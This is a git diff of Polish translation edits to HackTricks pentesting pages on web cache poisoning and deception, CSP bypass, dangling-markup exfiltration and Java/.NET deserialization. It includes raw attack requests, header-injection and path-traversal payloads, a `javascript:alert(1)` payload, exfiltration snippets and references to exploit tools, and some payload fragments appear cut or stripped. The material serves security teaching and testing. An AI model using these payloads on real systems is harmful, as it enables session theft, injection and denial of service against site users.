odpowiedzi z serwera zaplecza -Po zidentyfikowaniu parametru/nagłówka sprawdź, jak jest **sanitizowany** i **gdzie** jest **odzwierciedlany** lub wpływa na odpowiedź z nagłówka. Czy możesz to w jakiś sposób wykorzystać (wykonać XSS lub załadować kontrolowany przez siebie kod JS? wykonać DoS?...) +Po zidentyfikowaniu parametru/nagłówka sprawdź, jak jest **sanitizowany** i **gdzie** jest **odzwierciedlany** lub wpływa na odpowiedź z nagłówka. Czy możesz to w jakiś sposób wykorzystać (wykonać XSS lub załadować kontrolowany przez siebie kod JS? przeprowadzić DoS?...) ### Uzyskaj odpowiedź w pamięci podręcznej @@ -52,11 +52,11 @@ Gdy już **zidentyfikujesz** **stronę**, którą można wykorzystać, który ** Nagłówek **`X-Cache`** w odpowiedzi może być bardzo przydatny, ponieważ może mieć wartość **`miss`**, gdy żądanie nie zostało zapisane w pamięci podręcznej, oraz wartość **`hit`**, gdy jest w pamięci podręcznej.\ Nagłówek **`Cache-Control`** jest również interesujący, aby wiedzieć, czy zasób jest buforowany i kiedy następnym razem zasób zostanie ponownie zapisany w pamięci podręcznej: `Cache-Control: public, max-age=1800` -Innym interesującym nagłówkiem jest **`Vary`**. Ten nagłówek jest często używany do **wskazywania dodatkowych nagłówków**, które są traktowane jako **część klucza pamięci podręcznej**, nawet jeśli normalnie nie są kluczowane. Dlatego, jeśli użytkownik zna `User-Agent` ofiary, którą celuje, może zanieczyścić pamięć podręczną dla użytkowników używających tego konkretnego `User-Agent`. +Innym interesującym nagłówkiem jest **`Vary`**. Ten nagłówek jest często używany do **wskazywania dodatkowych nagłówków**, które są traktowane jako **część klucza pamięci podręcznej**, nawet jeśli normalnie nie są kluczowane. Dlatego, jeśli użytkownik zna `User-Agent` ofiary, którą celuje, może zanieczyścić pamięć podręczną dla użytkowników korzystających z tego konkretnego `User-Agent`. Jeszcze jednym nagłówkiem związanym z pamięcią podręczną jest **`Age`**. Określa czas w sekundach, przez jaki obiekt był w pamięci podręcznej proxy. -Podczas buforowania żądania, bądź **ostrożny z nagłówkami, których używasz**, ponieważ niektóre z nich mogą być **używane w sposób nieoczekiwany** jako **kluczowane**, a **ofiara będzie musiała użyć tego samego nagłówka**. Zawsze **testuj** zanieczyszczenie pamięci podręcznej za pomocą **różnych przeglądarek**, aby sprawdzić, czy działa. +Podczas buforowania żądania, bądź **ostrożny z nagłówkami, których używasz**, ponieważ niektóre z nich mogą być **używane w sposób nieoczekiwany** jako **kluczowane**, a **ofiara będzie musiała użyć tego samego nagłówka**. Zawsze **testuj** zanieczyszczenie pamięci podręcznej przy użyciu **różnych przeglądarek**, aby sprawdzić, czy działa. ## Przykłady wykorzystania @@ -97,7 +97,7 @@ cache-poisoning-via-url-discrepancies.md ### Zatrucie pamięci podręcznej z wykorzystaniem przejścia ścieżki w celu kradzieży klucza API -[**Ten artykuł wyjaśnia**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) jak możliwe było skradzenie klucza API OpenAI za pomocą URL-a takiego jak `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`, ponieważ wszystko, co pasuje do `/share/*`, będzie buforowane bez normalizacji URL przez Cloudflare, co miało miejsce, gdy żądanie dotarło do serwera webowego. +[**Ten artykuł wyjaśnia**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html), jak możliwe było skradzenie klucza API OpenAI za pomocą adresu URL takiego jak `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`, ponieważ wszystko, co pasuje do `/share/*`, będzie buforowane bez normalizacji URL przez Cloudflare, co miało miejsce, gdy żądanie dotarło do serwera webowego. Jest to również lepiej wyjaśnione w: @@ -116,7 +116,7 @@ X-Forwarded-Scheme: http ``` ### Wykorzystywanie z ograniczonym nagłówkiem `Vary` -Jeśli odkryłeś, że nagłówek **`X-Host`** jest używany jako **nazwa domeny do ładowania zasobu JS**, ale nagłówek **`Vary`** w odpowiedzi wskazuje na **`User-Agent`**. W takim przypadku musisz znaleźć sposób na wyekstrahowanie User-Agent ofiary i zanieczyszczenie pamięci podręcznej przy użyciu tego user agenta: +Jeśli odkryłeś, że nagłówek **`X-Host`** jest używany jako **nazwa domeny do ładowania zasobu JS**, ale nagłówek **`Vary`** w odpowiedzi wskazuje na **`User-Agent`**. W takim razie musisz znaleźć sposób na wyekstrahowanie User-Agent ofiary i zanieczyszczenie pamięci podręcznej przy użyciu tego user agenta: ```markup GET / HTTP/1.1 Host: vulnerbale.net @@ -148,7 +148,7 @@ Dowiedz się tutaj, jak przeprowadzać [ataki Cache Poisoning, nadużywając HTT ### Automatyczne testowanie dla Web Cache Poisoning -[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) może być używany do automatycznego testowania pod kątem złośliwego cache. Obsługuje wiele różnych technik i jest wysoce konfigurowalny. +[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) może być używany do automatycznego testowania pod kątem web cache poisoning. Obsługuje wiele różnych technik i jest wysoce konfigurowalny. Przykład użycia: `wcvs -u example.com` @@ -156,7 +156,7 @@ Przykład użycia: `wcvs -u example.com` ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) -ATS przesłał fragment w URL bez jego usuwania i wygenerował klucz cache tylko przy użyciu hosta, ścieżki i zapytania (ignorując fragment). Tak więc żądanie `/#/../?r=javascript:alert(1)` zostało wysłane do backendu jako `/#/../?r=javascript:alert(1)` i klucz cache nie zawierał ładunku, tylko host, ścieżkę i zapytanie. +ATS przesłał fragment wewnątrz URL bez jego usuwania i wygenerował klucz cache tylko przy użyciu hosta, ścieżki i zapytania (ignorując fragment). Tak więc żądanie `/#/../?r=javascript:alert(1)` zostało wysłane do backendu jako `/#/../?r=javascript:alert(1)` i klucz cache nie zawierał ładunku, tylko host, ścieżkę i zapytanie. ### GitHub CP-DoS @@ -164,27 +164,27 @@ Wysłanie złej wartości w nagłówku content-type spowodowało wyzwolenie odpo ### GitLab + GCP CP-DoS -GitLab używa koszy GCP do przechowywania treści statycznych. **GCP Buckets** obsługują **nagłówek `x-http-method-override`**. Możliwe było więc wysłanie nagłówka `x-http-method-override: HEAD` i zainfekowanie cache, aby zwracał pustą treść odpowiedzi. Mogło to również wspierać metodę `PURGE`. +GitLab używa koszy GCP do przechowywania treści statycznych. **GCP Buckets** obsługują **nagłówek `x-http-method-override`**. Tak więc możliwe było wysłanie nagłówka `x-http-method-override: HEAD` i zanieczyszczenie cache, aby zwrócić pustą treść odpowiedzi. Mogło to również obsługiwać metodę `PURGE`. ### Rack Middleware (Ruby on Rails) W aplikacjach Ruby on Rails często wykorzystywane jest middleware Rack. Celem kodu Rack jest pobranie wartości nagłówka **`x-forwarded-scheme`** i ustawienie jej jako schematu żądania. Gdy nagłówek `x-forwarded-scheme: http` jest wysyłany, następuje przekierowanie 301 do tej samej lokalizacji, co potencjalnie może spowodować Denial of Service (DoS) dla tego zasobu. Dodatkowo, aplikacja może uznawać nagłówek `X-forwarded-host` i przekierowywać użytkowników do określonego hosta. To zachowanie może prowadzić do ładowania plików JavaScript z serwera atakującego, co stanowi zagrożenie dla bezpieczeństwa. -### 403 i Koszyki przechowywania +### 403 i koszyki pamięci -Cloudflare wcześniej cache'ował odpowiedzi 403. Próba dostępu do S3 lub Azure Storage Blobs z nieprawidłowymi nagłówkami autoryzacji skutkowała odpowiedzią 403, która była cache'owana. Chociaż Cloudflare przestał cache'ować odpowiedzi 403, to zachowanie może nadal występować w innych usługach proxy. +Cloudflare wcześniej buforował odpowiedzi 403. Próba dostępu do S3 lub Azure Storage Blobs z nieprawidłowymi nagłówkami autoryzacji skutkowała odpowiedzią 403, która była buforowana. Chociaż Cloudflare przestał buforować odpowiedzi 403, to zachowanie może nadal występować w innych usługach proxy. ### Wstrzykiwanie parametrów z kluczami -Cache często zawiera konkretne parametry GET w kluczu cache. Na przykład, Varnish Fastly cache'ował parametr `size` w żądaniach. Jednak jeśli wysłano również URL-encoded wersję parametru (np. `siz%65`) z błędną wartością, klucz cache byłby skonstruowany przy użyciu poprawnego parametru `size`. Jednak backend przetwarzałby wartość w URL-encoded parametrze. URL-encoding drugiego parametru `size` prowadził do jego pominięcia przez cache, ale jego wykorzystania przez backend. Przypisanie wartości 0 do tego parametru skutkowało błędem 400 Bad Request, który można było cache'ować. +Cache często zawiera konkretne parametry GET w kluczu cache. Na przykład, Varnish Fastly buforował parametr `size` w żądaniach. Jednak jeśli wysłano również zakodowaną wersję parametru (np. `siz%65`) z błędną wartością, klucz cache byłby skonstruowany przy użyciu poprawnego parametru `size`. Jednak backend przetwarzałby wartość w zakodowanym parametrze. Zakodowanie drugiego parametru `size` prowadziło do jego pominięcia przez cache, ale jego wykorzystania przez backend. Przypisanie wartości 0 do tego parametru skutkowało buforowalnym błędem 400 Bad Request. -### Reguły User Agent +### Zasady User Agent -Niektórzy deweloperzy blokują żądania z user-agentami odpowiadającymi narzędziom o dużym ruchu, takim jak FFUF czy Nuclei, aby zarządzać obciążeniem serwera. Ironią jest to, że podejście to może wprowadzać luki, takie jak złośliwe cache i DoS. +Niektórzy deweloperzy blokują żądania z user-agentami odpowiadającymi narzędziom o dużym ruchu, takim jak FFUF czy Nuclei, aby zarządzać obciążeniem serwera. Ironią jest to, że podejście to może wprowadzać luki, takie jak zanieczyszczenie cache i DoS. ### Nieprawidłowe pola nagłówków -[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) określa akceptowalne znaki w nazwach nagłówków. Nagłówki zawierające znaki spoza określonego zakresu **tchar** powinny idealnie wyzwalać odpowiedź 400 Bad Request. W praktyce serwery nie zawsze przestrzegają tego standardu. Znaczącym przykładem jest Akamai, które przesyła nagłówki z nieprawidłowymi znakami i cache'uje każdy błąd 400, o ile nagłówek `cache-control` nie jest obecny. Zidentyfikowano wzór, w którym wysłanie nagłówka z nieprawidłowym znakiem, takim jak `\`, skutkowało cache'owalnym błędem 400 Bad Request. +[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) określa akceptowalne znaki w nazwach nagłówków. Nagłówki zawierające znaki spoza określonego zakresu **tchar** powinny idealnie wyzwalać odpowiedź 400 Bad Request. W praktyce serwery nie zawsze przestrzegają tego standardu. Znaczącym przykładem jest Akamai, które przesyła nagłówki z nieprawidłowymi znakami i buforuje każdy błąd 400, o ile nagłówek `cache-control` nie jest obecny. Zidentyfikowano wzorzec, w którym wysłanie nagłówka z nieprawidłowym znakiem, takim jak `\`, skutkowało buforowalnym błędem 400 Bad Request. ### Znajdowanie nowych nagłówków @@ -207,15 +207,15 @@ Inne rzeczy do przetestowania: Inny bardzo jasny przykład można znaleźć w tym opisie: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ W przykładzie wyjaśniono, że jeśli załadujesz nieistniejącą stronę, taką jak _http://www.example.com/home.php/non-existent.css_, treść _http://www.example.com/home.php_ (**z wrażliwymi informacjami użytkownika**) zostanie zwrócona, a serwer cache zapisze wynik.\ -Następnie **atakujący** może uzyskać dostęp do _http://www.example.com/home.php/non-existent.css_ w swojej przeglądarce i obserwować **poufne informacje** użytkowników, którzy uzyskali dostęp wcześniej. +Następnie, **atakujący** może uzyskać dostęp do _http://www.example.com/home.php/non-existent.css_ w swojej przeglądarce i obserwować **poufne informacje** użytkowników, którzy uzyskali dostęp wcześniej. -Zauważ, że **proxy cache** powinno być **skonfigurowane** do **cache'owania** plików **na podstawie** **rozszerzenia** pliku (_.css_) a nie na podstawie typu zawartości. W przykładzie _http://www.example.com/home.php/non-existent.css_ będzie miał typ zawartości `text/html` zamiast `text/css` (co jest oczekiwane dla pliku _.css_). +Zauważ, że **proxy cache** powinno być **skonfigurowane** do **buforowania** plików **na podstawie** **rozszerzenia** pliku (_.css_) a nie na podstawie typu zawartości. W przykładzie _http://www.example.com/home.php/non-existent.css_ będzie miało typ zawartości `text/html` zamiast `text/css` (co jest oczekiwane dla pliku _.css_). Dowiedz się tutaj, jak przeprowadzać [ataki Oszustwa cache, nadużywając HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception). ## Narzędzia automatyczne -- [**toxicache**](https://github.com/xhzeem/toxicache): skaner Golang do znajdowania podatności na złośliwe cache w liście URL i testowania wielu technik wstrzykiwania. +- [**toxicache**](https://github.com/xhzeem/toxicache): skaner Golang do znajdowania luk w web cache poisoning w liście URL i testowania wielu technik wstrzykiwania. ## Odniesienia diff --git a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md index 342c3fa10..fdb38c438 100644 --- a/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md +++ b/src/pentesting-web/cache-deception/cache-poisoning-to-dos.md @@ -44,15 +44,15 @@ Invalid Header ``` - **Atak nadpisania metody HTTP (HMO)** -Jeśli serwer obsługuje zmianę metody HTTP za pomocą nagłówków takich jak `X-HTTP-Method-Override`, `X-HTTP-Method` lub `X-Method-Override`, możliwe jest zażądanie ważnej strony, zmieniając metodę, aby serwer jej nie obsługiwał, co powoduje, że zła odpowiedź jest buforowana: +Jeśli serwer obsługuje zmianę metody HTTP za pomocą nagłówków takich jak `X-HTTP-Method-Override`, `X-HTTP-Method` lub `X-Method-Override`. Możliwe jest zażądanie ważnej strony, zmieniając metodę, aby serwer jej nie obsługiwał, co powoduje, że zła odpowiedź jest buforowana: ``` GET /blogs HTTP/1.1 Host: redacted.com HTTP-Method-Override: POST ``` -- **Unkeyed Port** +- **Port bez klucza** -Jeśli port w nagłówku Host jest odzwierciedlany w odpowiedzi i nie jest uwzględniony w kluczu pamięci podręcznej, możliwe jest przekierowanie go do nieużywanego portu: +Jeśli port w nagłówku Host jest odzwierciedlany w odpowiedzi i nie jest uwzględniony w kluczu pamięci podręcznej, możliwe jest przekierowanie go na nieużywany port: ``` GET /index.html HTTP/1.1 Host: redacted.com:1 @@ -105,7 +105,7 @@ Not Found ``` - **Fat Get** -Niektóre serwery cache, takie jak Cloudflare, lub serwery webowe, blokują żądania GET z ciałem, więc można to wykorzystać do zbuforowania nieprawidłowej odpowiedzi: +Niektóre serwery cache, takie jak Cloudflare, lub serwery webowe, zatrzymują żądania GET z ciałem, więc można to wykorzystać do zbuforowania nieprawidłowej odpowiedzi: ``` GET /index.html HTTP/2 Host: redacted.com diff --git a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md index 22af271ae..9da3f0c23 100644 --- a/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md +++ b/src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md @@ -2,10 +2,10 @@ {{#include ../../banners/hacktricks-training.md}} -To jest podsumowanie technik zaproponowanych w poście [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) w celu przeprowadzenia ataków na cache **wykorzystujących rozbieżności między proxy cache a serwerami webowymi.** +To jest podsumowanie technik zaproponowanych w poście [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) w celu przeprowadzenia ataków na zatrucie pamięci podręcznej **wykorzystując różnice między proxy pamięci podręcznej a serwerami WWW.** > [!NOTE] -> Celem tego ataku jest **sprawienie, aby serwer cache myślał, że ładowany jest zasób statyczny**, więc go buforuje, podczas gdy serwer cache przechowuje jako klucz cache część ścieżki, ale serwer webowy odpowiada, rozwiązując inną ścieżkę. Serwer webowy rozwiąże rzeczywistą ścieżkę, która będzie ładować dynamiczną stronę (która może przechowywać wrażliwe informacje o użytkowniku, złośliwy ładunek, taki jak XSS, lub przekierowywać do załadowania pliku JS z witryny atakującego, na przykład). +> Celem tego ataku jest **sprawienie, aby serwer pamięci podręcznej myślał, że ładowany jest zasób statyczny**, więc go buforuje, podczas gdy serwer pamięci podręcznej przechowuje jako klucz pamięci podręcznej część ścieżki, ale serwer WWW odpowiada, rozwiązując inną ścieżkę. Serwer WWW rozwiąże rzeczywistą ścieżkę, która będzie ładować dynamiczną stronę (która może przechowywać wrażliwe informacje o użytkowniku, złośliwy ładunek, taki jak XSS, lub przekierowywać do załadowania pliku JS z witryny atakującego, na przykład). ## Delimitery @@ -24,29 +24,29 @@ Inne specyficzne delimitery mogą być znalezione w następującym procesie: ## Normalizacja i kodowania -- **Cel**: Parsery URL w serwerach cache i serwerach pochodzenia normalizują URL-e, aby wyodrębnić ścieżki do mapowania punktów końcowych i kluczy cache. +- **Cel**: Parsery URL w serwerach pamięci podręcznej i serwerach pochodzenia normalizują URL-e, aby wyodrębnić ścieżki do mapowania punktów końcowych i kluczy pamięci podręcznej. - **Proces**: Identyfikuje delimitery ścieżek, wyodrębnia i normalizuje ścieżkę, dekodując znaki i usuwając segmenty kropkowe. ### **Kodowania** -Różne serwery HTTP i proxy, takie jak Nginx, Node i CloudFront, dekodują delimitery w różny sposób, co prowadzi do niespójności w różnych CDN-ach i serwerach pochodzenia, które mogą być wykorzystane. Na przykład, jeśli serwer webowy wykonuje tę transformację `/myAccount%3Fparam` → `/myAccount?param`, ale serwer cache zachowuje jako klucz ścieżkę `/myAccount%3Fparam`, występuje niespójność. +Różne serwery HTTP i proxy, takie jak Nginx, Node i CloudFront, dekodują delimitery w różny sposób, co prowadzi do niespójności w różnych CDN-ach i serwerach pochodzenia, które mogą być wykorzystane. Na przykład, jeśli serwer WWW wykonuje tę transformację `/myAccount%3Fparam` → `/myAccount?param`, ale serwer pamięci podręcznej zachowuje jako klucz ścieżkę `/myAccount%3Fparam`, występuje niespójność. -Sposobem na sprawdzenie tych niespójności jest wysyłanie żądań URL kodujących różne znaki po załadowaniu ścieżki bez żadnego kodowania i sprawdzenie, czy odpowiedź zakodowanej ścieżki pochodzi z odpowiedzi buforowanej. +Sposobem na sprawdzenie tych niespójności jest wysyłanie żądań URL kodujących różne znaki po załadowaniu ścieżki bez żadnego kodowania i sprawdzenie, czy odpowiedź z zakodowanej ścieżki pochodzi z odpowiedzi buforowanej. ### Segment kropkowy -Normalizacja ścieżek, w których zaangażowane są kropki, jest również bardzo interesująca dla ataków na cache. Na przykład, `/static/../home/index` lub `/aaa..\home/index`, niektóre serwery cache będą buforować te ścieżki jako klucze, podczas gdy inne mogą rozwiązać ścieżkę i użyć `/home/index` jako klucza cache.\ -Podobnie jak wcześniej, wysyłanie tego rodzaju żądań i sprawdzanie, czy odpowiedź została zebrana z cache, pomaga zidentyfikować, czy odpowiedź na `/home/index` jest odpowiedzią wysłaną, gdy te ścieżki są żądane. +Normalizacja ścieżki, w której zaangażowane są kropki, jest również bardzo interesująca dla ataków na zatrucie pamięci podręcznej. Na przykład, `/static/../home/index` lub `/aaa..\home/index`, niektóre serwery pamięci podręcznej będą buforować te ścieżki jako klucze, podczas gdy inne mogą rozwiązać ścieżkę i użyć `/home/index` jako klucza pamięci podręcznej.\ +Podobnie jak wcześniej, wysyłanie tego rodzaju żądań i sprawdzanie, czy odpowiedź została zebrana z pamięci podręcznej, pomaga zidentyfikować, czy odpowiedź na `/home/index` jest odpowiedzią wysłaną, gdy te ścieżki są żądane. ## Zasoby statyczne -Kilka serwerów cache zawsze buforuje odpowiedź, jeśli jest ona identyfikowana jako statyczna. Może to być spowodowane: +Kilka serwerów pamięci podręcznej zawsze buforuje odpowiedź, jeśli jest ona identyfikowana jako statyczna. Może to być spowodowane: - **Rozszerzeniem**: Cloudflare zawsze buforuje pliki z następującymi rozszerzeniami: 7z, csv, gif, midi, png, tif, zip, avi, doc, gz, mkv, ppt, tiff, zst, avif, docx, ico, mp3, pptx, ttf, apk, dmg, iso, mp4, ps, webm, bin, ejs, jar, ogg, rar, webp, bmp, eot, jpg, otf, svg, woff, bz2, eps, jpeg, pdf, svgz, woff2, class, exe, js, pict, swf, xls, css, flac, mid, pls, tar, xlsx -- Możliwe jest wymuszenie buforowania dynamicznej odpowiedzi, używając delimitera i statycznego rozszerzenia, jak żądanie do `/home$image.png`, które buforuje `/home$image.png`, a serwer pochodzenia odpowiada `/home` +- Możliwe jest wymuszenie buforowania dynamicznej odpowiedzi, używając delimitera i statycznego rozszerzenia, na przykład żądanie do `/home$image.png` buforuje `/home$image.png`, a serwer pochodzenia odpowiada `/home` - **Znane statyczne katalogi**: Następujące katalogi zawierają pliki statyczne, a zatem ich odpowiedzi powinny być buforowane: /static, /assets, /wp-content, /media, /templates, /public, /shared -- Możliwe jest wymuszenie buforowania dynamicznej odpowiedzi, używając delimitera, statycznego katalogu i kropek, jak: `/home/..%2fstatic/something` buforuje `/static/something`, a odpowiedź będzie `/home` +- Możliwe jest wymuszenie buforowania dynamicznej odpowiedzi, używając delimitera, statycznego katalogu i kropek, na przykład: `/home/..%2fstatic/something` buforuje `/static/something`, a odpowiedź będzie `/home` - **Statyczne katalogi + kropki**: Żądanie do `/static/..%2Fhome` lub do `/static/..%5Chome` może być buforowane tak, jak jest, ale odpowiedź może być `/home` -- **Statyczne pliki:** Niektóre konkretne pliki są zawsze buforowane, takie jak `/robots.txt`, `/favicon.ico` i `/index.html`. Co można wykorzystać, jak `/home/..%2Frobots.txt`, gdzie cache może przechowywać `/robots.txt`, a serwer pochodzenia odpowiada na `/home`. +- **Statyczne pliki:** Niektóre konkretne pliki są zawsze buforowane, takie jak `/robots.txt`, `/favicon.ico` i `/index.html`. Co można wykorzystać, na przykład `/home/..%2Frobots.txt`, gdzie pamięć podręczna może przechowywać `/robots.txt`, a serwer pochodzenia odpowiada na `/home`. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 585f052a4..45572f158 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -1,10 +1,10 @@ -# Content Security Policy (CSP) Bypass +# Obejście Polityki Bezpieczeństwa Treści (CSP) {{#include ../../banners/hacktricks-training.md}} -## Co to jest CSP +## Czym jest CSP -Content Security Policy (CSP) jest uznawana za technologię przeglądarki, głównie mającą na celu **ochronę przed atakami takimi jak cross-site scripting (XSS)**. Działa poprzez definiowanie i szczegółowe określenie ścieżek i źródeł, z których zasoby mogą być bezpiecznie ładowane przez przeglądarkę. Te zasoby obejmują szereg elementów, takich jak obrazy, ramki i JavaScript. Na przykład, polityka może zezwalać na ładowanie i wykonywanie zasobów z tej samej domeny (self), w tym zasobów inline oraz wykonywanie kodu w postaci stringów za pomocą funkcji takich jak `eval`, `setTimeout` lub `setInterval`. +Polityka Bezpieczeństwa Treści (CSP) jest uznawana za technologię przeglądarki, głównie mającą na celu **ochronę przed atakami takimi jak cross-site scripting (XSS)**. Działa poprzez definiowanie i szczegółowe określenie ścieżek i źródeł, z których zasoby mogą być bezpiecznie ładowane przez przeglądarkę. Te zasoby obejmują szereg elementów, takich jak obrazy, ramki i JavaScript. Na przykład, polityka może zezwalać na ładowanie i wykonywanie zasobów z tej samej domeny (self), w tym zasobów inline oraz wykonywanie kodu w postaci stringów za pomocą funkcji takich jak `eval`, `setTimeout` lub `setInterval`. Wdrożenie CSP odbywa się poprzez **nagłówki odpowiedzi** lub poprzez włączenie **elementów meta do strony HTML**. Zgodnie z tą polityką, przeglądarki proaktywnie egzekwują te postanowienia i natychmiast blokują wszelkie wykryte naruszenia. @@ -18,10 +18,10 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; ``` ### Nagłówki -CSP może być egzekwowane lub monitorowane za pomocą tych nagłówków: +CSP może być egzekwowany lub monitorowany za pomocą tych nagłówków: - `Content-Security-Policy`: Egzekwuje CSP; przeglądarka blokuje wszelkie naruszenia. -- `Content-Security-Policy-Report-Only`: Używane do monitorowania; raportuje naruszenia bez ich blokowania. Idealne do testowania w środowiskach przedprodukcyjnych. +- `Content-Security-Policy-Report-Only`: Używany do monitorowania; raportuje naruszenia bez ich blokowania. Idealny do testowania w środowiskach przedprodukcyjnych. ### Definiowanie zasobów @@ -44,27 +44,27 @@ object-src 'none'; - **child-src**: Określa dozwolone zasoby dla pracowników sieciowych i zawartości osadzonych ramek. - **connect-src**: Ogranicza adresy URL, które mogą być ładowane za pomocą interfejsów takich jak fetch, WebSocket, XMLHttpRequest. - **frame-src**: Ogranicza adresy URL dla ramek. -- **frame-ancestors**: Określa, które źródła mogą osadzać bieżącą stronę, stosowane do elementów takich jak ``, ` ``` -W [**tym opisie CTF**](https://github.com/aszx87410/ctf-writeups/issues/48) możliwe było poprzez **wstrzykiwanie HTML** **ograniczenie** bardziej **CSP**, co spowodowało, że skrypt zapobiegający CSTI został wyłączony, a zatem **vulnerability stała się wykonalna.**\ +W [**tym opisie CTF**](https://github.com/aszx87410/ctf-writeups/issues/48) możliwe było poprzez **iniekcję HTML** **ograniczenie** bardziej **CSP**, co spowodowało, że skrypt zapobiegający CSTI został wyłączony, a zatem **vulnerability stała się wykonalna.**\ CSP można uczynić bardziej restrykcyjnym, używając **tagów meta HTML**, a skrypty inline można wyłączyć **usuwając** **wejście** pozwalające na ich **nonce** i **włączając konkretny skrypt inline za pomocą sha**: ```html `. Wszystkie dane aż do znalezienia zamkniętego `` zostaną wysłane: ```html @@ -96,13 +96,13 @@ Sposobem na wyeksfiltrowanie zawartości strony internetowej od punktu wstrzykni ``` ### Obejście CSP z interakcją użytkownika -Z tego [badania portswiggers](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) możesz się dowiedzieć, że nawet z **najbardziej ograniczonych** środowisk CSP możesz nadal **ekstrahować dane** z pewną **interakcją użytkownika**. W tej okazji użyjemy ładunku: +Z tego [badania portswiggers](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) możesz się dowiedzieć, że nawet z **najbardziej ograniczonych** środowisk CSP możesz nadal **wyekstrahować dane** z pewną **interakcją użytkownika**. W tej okazji użyjemy ładunku: ```html You must click me API **Java Message Service** (**JMS**) to API middleware oparte na wiadomościach w Javie do wysyłania wiadomości między dwoma lub więcej klientami. Jest to implementacja do obsługi problemu producenta-konsumenta. JMS jest częścią platformy Java Platform, Enterprise Edition (Java EE) i została zdefiniowana przez specyfikację opracowaną w Sun Microsystems, ale od tego czasu była kierowana przez Java Community Process. Jest to standard komunikacji, który pozwala komponentom aplikacji opartych na Java EE tworzyć, wysyłać, odbierać i odczytywać wiadomości. Umożliwia to luźne powiązanie, niezawodną i asynchroniczną komunikację między różnymi komponentami rozproszonej aplikacji. (Z [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)). +> API **Java Message Service** (**JMS**) to API middleware oparte na wiadomościach w Javie do wysyłania wiadomości między dwoma lub więcej klientami. Jest to implementacja do rozwiązania problemu producenta-konsumenta. JMS jest częścią platformy Java Platform, Enterprise Edition (Java EE) i została zdefiniowana przez specyfikację opracowaną w Sun Microsystems, ale od tego czasu była kierowana przez Java Community Process. Jest to standard komunikacji, który pozwala komponentom aplikacji opartym na Java EE tworzyć, wysyłać, odbierać i odczytywać wiadomości. Umożliwia to luźne powiązanie, niezawodną i asynchroniczną komunikację między różnymi komponentami rozproszonej aplikacji. (Z [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)). ### Produkty @@ -610,10 +610,10 @@ Istnieje kilka produktów wykorzystujących to middleware do wysyłania wiadomo ### Wykorzystanie -Tak więc, zasadniczo istnieje **wiele usług wykorzystujących JMS w niebezpieczny sposób**. Dlatego, jeśli masz **wystarczające uprawnienia** do wysyłania wiadomości do tych usług (zwykle będziesz potrzebować ważnych poświadczeń), możesz być w stanie wysłać **złośliwe obiekty serializowane, które będą deserializowane przez konsumenta/subskrybenta**.\ -Oznacza to, że w tym wykorzystaniu wszystkie **klienty, które będą korzystać z tej wiadomości, zostaną zainfekowane**. +Tak więc, zasadniczo istnieje **wiele usług korzystających z JMS w niebezpieczny sposób**. Dlatego, jeśli masz **wystarczające uprawnienia** do wysyłania wiadomości do tych usług (zwykle będziesz potrzebować ważnych poświadczeń), możesz być w stanie wysłać **złośliwe obiekty serializowane, które będą deserializowane przez konsumenta/subskrybenta**.\ +Oznacza to, że w tym wykorzystaniu wszyscy **klienci, którzy będą korzystać z tej wiadomości, zostaną zainfekowani**. -Powinieneś pamiętać, że nawet jeśli usługa jest podatna (ponieważ niebezpiecznie deserializuje dane wejściowe od użytkownika), nadal musisz znaleźć ważne gadżety, aby wykorzystać tę podatność. +Powinieneś pamiętać, że nawet jeśli usługa jest podatna (ponieważ niebezpiecznie deserializuje dane wejściowe użytkownika), nadal musisz znaleźć ważne gadżety, aby wykorzystać tę podatność. Narzędzie [JMET](https://github.com/matthiaskaiser/jmet) zostało stworzone, aby **łączyć się i atakować te usługi, wysyłając kilka złośliwych obiektów serializowanych przy użyciu znanych gadżetów**. Te exploity będą działać, jeśli usługa nadal będzie podatna i jeśli którykolwiek z używanych gadżetów znajduje się w podatnej aplikacji. @@ -645,18 +645,18 @@ Poszukiwania powinny koncentrować się na ciągu zakodowanym w Base64 **AAEAAAD W tym przypadku możesz użyć narzędzia [**ysoserial.net**](https://github.com/pwntester/ysoserial.net), aby **tworzyć exploity deserializacji**. Po pobraniu repozytorium git powinieneś **skompilować narzędzie** na przykład za pomocą Visual Studio. -Jeśli chcesz dowiedzieć się, **jak ysoserial.net tworzy swoje exploity**, możesz [**sprawdzić tę stronę, na której wyjaśniono gadżet ObjectDataProvider + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md). +Jeśli chcesz dowiedzieć się, **jak ysoserial.net tworzy swoje exploity**, możesz [**sprawdzić tę stronę, na której wyjaśniono gadżet ObjectDataProvider + ExpandedWrapper + formatter 